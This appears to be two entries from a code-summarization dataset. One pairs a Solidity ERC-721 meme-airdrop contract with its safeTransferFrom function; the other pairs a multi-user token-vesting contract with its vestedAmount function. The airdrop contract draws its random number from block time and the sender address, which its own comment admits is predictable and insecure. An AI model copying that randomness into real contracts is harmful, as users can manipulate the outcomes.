} /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract IERC721Enumerable { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } contract ERC20Token { function balanceOf(address owner) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title ERC721 Non-Fungible Token Standard BrofistCoin custom implementation * @dev Please report any issues to <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="bdd4d3dbd2fddfcfd2dbd4cec9ded2d4d393d4d2">[email&#160;protected]</a> or @brofistcoin on Telegram */ contract MemeAwards2018 is ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint256 private releaseDate; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63; bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned tokens mapping (address => uint256) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Mapping from airdrop receiver to boolean mapping (address => bool) public hasClaimed; // Meme struct holds the templateId struct Meme { uint32 templateId; } // Template struct holds the uris for templateIds struct Template { string uri; } // All the tokens in existence Meme[] private claimedMemes; // Admin editable templates for each meme Template[] private memeTemplates; // Throws when msg.sender has already claimed the airdrop modifier hasNotClaimed() { require(hasClaimed[msg.sender] == false); _; } // Throws when the 30 day airdrop period has passed modifier canClaim() { require(releaseDate + 30 days >= now); _; } constructor(string name, string symbol) public { // Set name _name = name; // Set symbol _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Metadata); // register the supported interface to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721Enumerable); // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); // Set releaseDate releaseDate = now; } /* Returns a predictable and insecure pseudo random number between 0 - 9 which represent the 10 MemeAwards 2018 meme templates (templateId) */ function _randomMeme() private view returns (uint8) { return uint8(uint256(keccak256(abi.encodePacked(now, msg.sender))) % 10); } // Function to claim the meme airdrop function claimMeme() public hasNotClaimed canClaim { // Store the random number for reference uint32 randomMemeId = _randomMeme(); // Push new token to claimedMemes with randomMemeId as its templateId uint id = claimedMemes.push(Meme(randomMemeId)) -1; // Mint the token with the id from claimedMemes array _mint(msg.sender, id); // Set boolean for hasClaimed hasClaimed[msg.sender] = true; } // Iterate through claimed memes and get the count based on its templateId // ie. how many of Bitch Lasagna exists function getIndividualCount(uint32 _templateId) external view returns (uint) { uint counter = 0; for (uint i = 0; i < claimedMemes.length; i++) { if (claimedMemes[i].templateId == _templateId) { counter++; } } // Total supply of n meme return counter; } // Get all the memes by owner function getMemesByOwner(address _owner) public view returns(uint[]) { uint[] memory result = new uint[](_ownedTokensCount[_owner]); uint counter = 0; for (uint i = 0; i < claimedMemes.length; i++) { if (_tokenOwner[i] == _owner) { result[counter] = i; counter++; } } // Array of ID&#39;s in claimedMemes that _owner owns return result; } // Get end time function getEndTime() external view returns (uint) { return releaseDate + 30 days; } // Function to withdraw any ERC20 tokens that might be sent here for whatever reasons function withdrawERC20Tokens(address _tokenContract) external onlyOwner returns (bool) { ERC20Token token = ERC20Token(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(msg.sender, amount); } // And just in case for ETH too (shouldn&#39;t happen though) function withdraw() external onlyOwner { uint256 etherBalance = address(this).balance; msg.sender.transfer(etherBalance); } // Admin function to set meme template uris function setMemeTemplate(string _uri) external onlyOwner { require(memeTemplates.length < 10); memeTemplates.push(Template(_uri)); } // Admin function to edit meme template uris // If we wanted to host elsewhere like IPFS for example function editMemeTemplate(uint _templateId, string _newUri) external onlyOwner { memeTemplates[_templateId].uri = _newUri; } // Return the total supply function totalSupply() public view returns (uint256) { return claimedMemes.length; } // Return the templateId of _index token function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return claimedMemes[_index].templateId; } // Return The token templateId for the index&#39;th token assigned to owner function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId) { require(index < balanceOf(owner)); return getMemesByOwner(owner)[index]; } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string) { return _name; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string) { return _symbol; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string) { require(_exists(tokenId)); uint tokenTemplateId = claimedMemes[tokenId].templateId; return memeTemplates[tokenTemplateId].uri; } /** * @dev Gets the balance of the specified address * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } /** * @dev Gets the owner of the specified token ID * @param tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes _data) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkOnERC721Received(from, to, tokenId, _data)); } /** * @dev Returns whether the specified token exists * @param tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from); require(to != address(0)); _clearApproval(tokenId); _ownedTokensCount[from] = _ownedTokensCount[from].sub(1); _ownedTokensCount[to] = _ownedTokensCount[to].add(1); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }
Safely transfers the ownership of a given token ID to another address If the target address is a contract, it must implement `onERC721Received`, which is called upon a safe transfer, and return the magic value `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, the transfer is reverted. Requires the msg sender to be the owner, approved, or operator from current owner of the token to address to receive the ownership of the given token ID tokenId uint256 ID of the token to be transferred _data bytes data to send along with a safe transfer check/ solium-disable-next-line arg-overflow
function safeTransferFrom(address from, address to, uint256 tokenId, bytes _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); }
2,320,340
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; /** * @title Crunch Multi Vesting * @author Enzo CACERES <[email protected]> * @notice Allow the vesting of multiple users using only one contract. */ contract CrunchMultiVesting is Ownable { event TokensReleased( address indexed beneficiary, uint256 index, uint256 amount ); event CrunchTokenUpdated( address indexed previousCrunchToken, address indexed newCrunchToken ); event CreatorChanged( address indexed previousAddress, address indexed newAddress ); event VestingCreated( address indexed beneficiary, uint256 amount, uint256 start, uint256 cliff, uint256 duration, uint256 index ); struct Vesting { /* beneficiary of tokens after they are released. */ address beneficiary; /** the amount of token to vest. */ uint256 amount; /** the start time of the token vesting. */ uint256 start; /** the cliff time of the token vesting. */ uint256 cliff; /** the duration of the token vesting. */ uint256 duration; /** the amount of the token released. */ uint256 released; } /* CRUNCH erc20 address. */ IERC20Metadata public crunch; /** secondary address that is only allowed to call the `create()` method */ address public creator; /** currently locked tokens that are being used by all of the vestings */ uint256 public totalSupply; /** mapping to vesting list */ mapping(address => Vesting[]) public vestings; /** mapping to a list of the currently active vestings index */ mapping(address => uint256[]) _actives; /** * @notice Instanciate a new contract. * @dev the creator will be set as the deployer's address. * @param _crunch CRUNCH token address. */ constructor(address _crunch) { _setCrunch(_crunch); _setCreator(owner()); } /** * @notice Fake an ERC20-like contract allowing it to be displayed from wallets. * @return the contract 'fake' token name. */ function name() external pure returns (string memory) { return "Vested CRUNCH Token (multi)"; } /** * @notice Fake an ERC20-like contract allowing it to be displayed from wallets. * @return the contract 'fake' token symbol. */ function symbol() external pure returns (string memory) { return "mvCRUNCH"; } /** * @notice Fake an ERC20-like contract allowing it to be displayed from wallets. * @return the crunch's decimals value. */ function decimals() external view returns (uint8) { return crunch.decimals(); } /** * @notice Create a new vesting. * * Requirements: * - caller must be the owner or the creator * - `amount` must not be zero * - `beneficiary` must not be the null address * - `cliffDuration` must be less than the duration * - `duration` must not be zero * - there must be enough available reserve to accept the amount * * @dev A `VestingCreated` event will be emitted. * @param beneficiary Address that will receive CRUNCH tokens. * @param amount Amount of CRUNCH to vest. * @param cliffDuration Cliff duration in seconds. * @param duration Vesting duration in seconds. */ function create( address beneficiary, uint256 amount, uint256 cliffDuration, uint256 duration ) external onlyCreatorOrOwner { require( beneficiary != address(0), "MultiVesting: beneficiary is the zero address" ); require(amount > 0, "MultiVesting: amount is 0"); require(duration > 0, "MultiVesting: duration is 0"); require( cliffDuration <= duration, "MultiVesting: cliff is longer than duration" ); require( availableReserve() >= amount, "MultiVesting: available reserve is not enough" ); uint256 start = block.timestamp; uint256 cliff = start + cliffDuration; vestings[beneficiary].push( Vesting({ beneficiary: beneficiary, amount: amount, start: start, cliff: cliff, duration: duration, released: 0 }) ); uint256 index = vestings[beneficiary].length - 1; _actives[beneficiary].push(index); totalSupply += amount; emit VestingCreated(beneficiary, amount, start, cliff, duration, index); } /** * @notice Get the current reserve (or balance) of the contract in CRUNCH. * @return The balance of CRUNCH this contract has. */ function reserve() public view returns (uint256) { return crunch.balanceOf(address(this)); } /** * @notice Get the available reserve. * @return The number of CRUNCH that can be used to create another vesting. */ function availableReserve() public view returns (uint256) { return reserve() - totalSupply; } /** * @notice Release a vesting of the current caller by its `index`. * @dev A `TokensReleased` event will be emitted. * @dev The transaction will fail if no token are due. * @param index The vesting index to release. */ function release(uint256 index) external { _release(_msgSender(), index); } /** * @notice Release a vesting of a specified address by its `index`. * @dev The caller must be the owner. * @param beneficiary Address to release. * @param index The vesting index to release. */ function releaseFor(address beneficiary, uint256 index) external onlyOwner { _release(beneficiary, index); } /** * @notice Release all of active vesting of the current caller. * @dev Multiple `TokensReleased` event might be emitted. * @dev The transaction will fail if no token are due. */ function releaseAll() external { _releaseAll(_msgSender()); } /** * @notice Release all of active vesting of a specified address. * @dev Multiple `TokensReleased` event might be emitted. * @dev The transaction will fail if no token are due. */ function releaseAllFor(address beneficiary) external onlyOwner { _releaseAll(beneficiary); } /** * @notice Get the total of releasable amount of tokens by doing the sum of all of the currently active vestings. * @param beneficiary Address to check. * @return total The sum of releasable amounts. */ function releasableAmount(address beneficiary) public view returns (uint256 total) { uint256 size = vestingsCount(beneficiary); for (uint256 index = 0; index < size; index++) { Vesting storage vesting = _getVesting(beneficiary, index); total += _releasableAmount(vesting); } } /** * @notice Get the releasable amount of tokens of a vesting by its `index`. * @param beneficiary Address to check. * @param index Vesting index to check. * @return The releasable amount of tokens of the found vesting. */ function releasableAmountAt(address beneficiary, uint256 index) external view returns (uint256) { Vesting storage vesting = _getVesting(beneficiary, index); return _releasableAmount(vesting); } /** * @notice Get the sum of all vested amount of tokens. * @param beneficiary Address to check. * @return total The sum of vested amount of all of the vestings. */ function vestedAmount(address beneficiary) public view returns (uint256 total) { uint256 size = vestingsCount(beneficiary); for (uint256 index = 0; index < size; index++) { Vesting storage vesting = _getVesting(beneficiary, index); total += _vestedAmount(vesting); } } /** * @notice Get the vested amount of tokens of a vesting by its `index`. * @param beneficiary Address to check. * @param index Address to check. * @return The vested amount of the found vesting. */ function vestedAmountAt(address beneficiary, uint256 index) external view returns (uint256) { Vesting storage vesting = _getVesting(beneficiary, index); return _vestedAmount(vesting); } /** * @notice Get the sum of all remaining amount of tokens of each vesting of a beneficiary. * @dev This function is to make wallets able to display the amount in their UI. * @param beneficiary Address to check. * @return total The sum of all remaining amount of tokens. */ function balanceOf(address beneficiary) external view returns (uint256 total) { uint256 size = vestingsCount(beneficiary); for (uint256 index = 0; index < size; index++) { Vesting storage vesting = _getVesting(beneficiary, index); total += vesting.amount - vesting.released; } } /** * @notice Update the CRUNCH token address. * @dev The caller must be the owner. * @dev A `CrunchTokenUpdated` event will be emitted. * @param newCrunch New CRUNCH token address. */ function setCrunch(address newCrunch) external onlyOwner { _setCrunch(newCrunch); } /** * @notice Update the creator address. The old address will no longer be able to access the `create(...)` method. * @dev The caller must be the owner. * @dev A `CreatorChanged` event will be emitted. * @param newCreator New creator address. */ function setCreator(address newCreator) external onlyOwner { _setCreator(newCreator); } /** * @notice Get the number of vesting of an address. * @param beneficiary Address to check. * @return Number of vesting. */ function vestingsCount(address beneficiary) public view returns (uint256) { return vestings[beneficiary].length; } /** * @notice Get the number of active vesting of an address. * @param beneficiary Address to check. * @return Number of active vesting. */ function activeVestingsCount(address beneficiary) public view returns (uint256) { return _actives[beneficiary].length; } /** * @notice Get the active vestings index. * @param beneficiary Address to check. * @return An array of currently active vestings index. */ function activeVestingsIndex(address beneficiary) external view returns (uint256[] memory) { return _actives[beneficiary]; } /** * @dev Internal implementation of the release() method. * @dev The methods will fail if there is no tokens due. * @dev A `TokensReleased` event will be emitted. * @dev If the vesting's released tokens is the same of the vesting's amount, the vesting is considered as finished, and will be removed from the active list. * @param beneficiary Address to release. * @param index Vesting index to release. */ function _release(address beneficiary, uint256 index) internal { Vesting storage vesting = _getVesting(beneficiary, index); uint256 unreleased = _releasableAmount(vesting); require(unreleased > 0, "MultiVesting: no tokens are due"); vesting.released += unreleased; crunch.transfer(vesting.beneficiary, unreleased); totalSupply -= unreleased; emit TokensReleased(vesting.beneficiary, index, unreleased); if (vesting.released == vesting.amount) { _removeActive(beneficiary, index); } } /** * @dev Internal implementation of the releaseAll() method. * @dev The methods will fail if there is no tokens due for all of the vestings. * @dev Multiple `TokensReleased` event may be emitted. * @dev If some vesting's released tokens is the same of their amount, they will considered as finished, and will be removed from the active list. * @param beneficiary Address to release. */ function _releaseAll(address beneficiary) internal { uint256 totalReleased; uint256[] storage actives = _actives[beneficiary]; for (uint256 activeIndex = 0; activeIndex < actives.length; ) { uint256 index = actives[activeIndex]; Vesting storage vesting = _getVesting(beneficiary, index); uint256 unreleased = _releasableAmount(vesting); if (unreleased == 0) { activeIndex++; continue; } vesting.released += unreleased; totalSupply -= unreleased; crunch.transfer(vesting.beneficiary, unreleased); emit TokensReleased(vesting.beneficiary, index, unreleased); if (vesting.released == vesting.amount) { _removeActiveAt(beneficiary, activeIndex); } else { activeIndex++; } totalReleased += unreleased; } require(totalReleased > 0, "MultiVesting: no tokens are due"); } /** * @dev Pop from the active list at a specified index. * @param beneficiary Address to get the active list from. * @param activeIndex Active list's index to pop. */ function _removeActiveAt(address beneficiary, uint256 activeIndex) internal { uint256[] storage actives = _actives[beneficiary]; actives[activeIndex] = actives[actives.length - 1]; actives.pop(); } /** * @dev Find the active index of a vesting index, and pop it with `_removeActiveAt(address, uint256)`. * @dev The method will fail if the active index is not found. * @param beneficiary Address to get the active list from. * @param index Vesting index to find and pop. */ function _removeActive(address beneficiary, uint256 index) internal { uint256[] storage actives = _actives[beneficiary]; for ( uint256 activeIndex = 0; activeIndex < actives.length; activeIndex++ ) { if (actives[activeIndex] == index) { _removeActiveAt(beneficiary, activeIndex); return; } } revert("MultiVesting: active index not found"); } /** * @dev Compute the releasable amount. * @param vesting Vesting instance. */ function _releasableAmount(Vesting memory vesting) internal view returns (uint256) { return _vestedAmount(vesting) - vesting.released; } /** * @dev Compute the vested amount. * @param vesting Vesting instance. */ function _vestedAmount(Vesting memory vesting) internal view returns (uint256) { uint256 amount = vesting.amount; if (block.timestamp < vesting.cliff) { return 0; } else if ((block.timestamp >= vesting.start + vesting.duration)) { return amount; } else { return (amount * (block.timestamp - vesting.start)) / vesting.duration; } } /** * @dev Get a vesting. * @param beneficiary Address to get it from. * @param index Index to get it from. * @return A vesting struct stored in the storage. */ function _getVesting(address beneficiary, uint256 index) internal view returns (Vesting storage) { return vestings[beneficiary][index]; } /** * @dev Update the CRUNCH token address. * @dev A `CrunchTokenUpdated` event will be emitted. * @param newCrunch New CRUNCH token address. */ function _setCrunch(address newCrunch) internal { address previousCrunch = address(crunch); crunch = IERC20Metadata(newCrunch); emit CrunchTokenUpdated(previousCrunch, address(newCrunch)); } /** * @dev Update the creator address. * @dev A `CreatorChanged` event will be emitted. * @param newCreator New creator address. */ function _setCreator(address newCreator) internal { address previous = creator; creator = newCreator; emit CreatorChanged(previous, newCreator); } /** * @dev Ensure that the caller is the creator or the owner. */ modifier onlyCreatorOrOwner() { require( _msgSender() == creator || _msgSender() == owner(), "MultiVesting: only creator or owner can do this" ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
Get the sum of all vested amount of tokens. beneficiary Address to check. return total The sum of vested amount of all of the vestings./
function vestedAmount(address beneficiary) public view returns (uint256 total) { uint256 size = vestingsCount(beneficiary); for (uint256 index = 0; index < size; index++) { Vesting storage vesting = _getVesting(beneficiary, index); total += _vestedAmount(vesting); } }
10,082,853
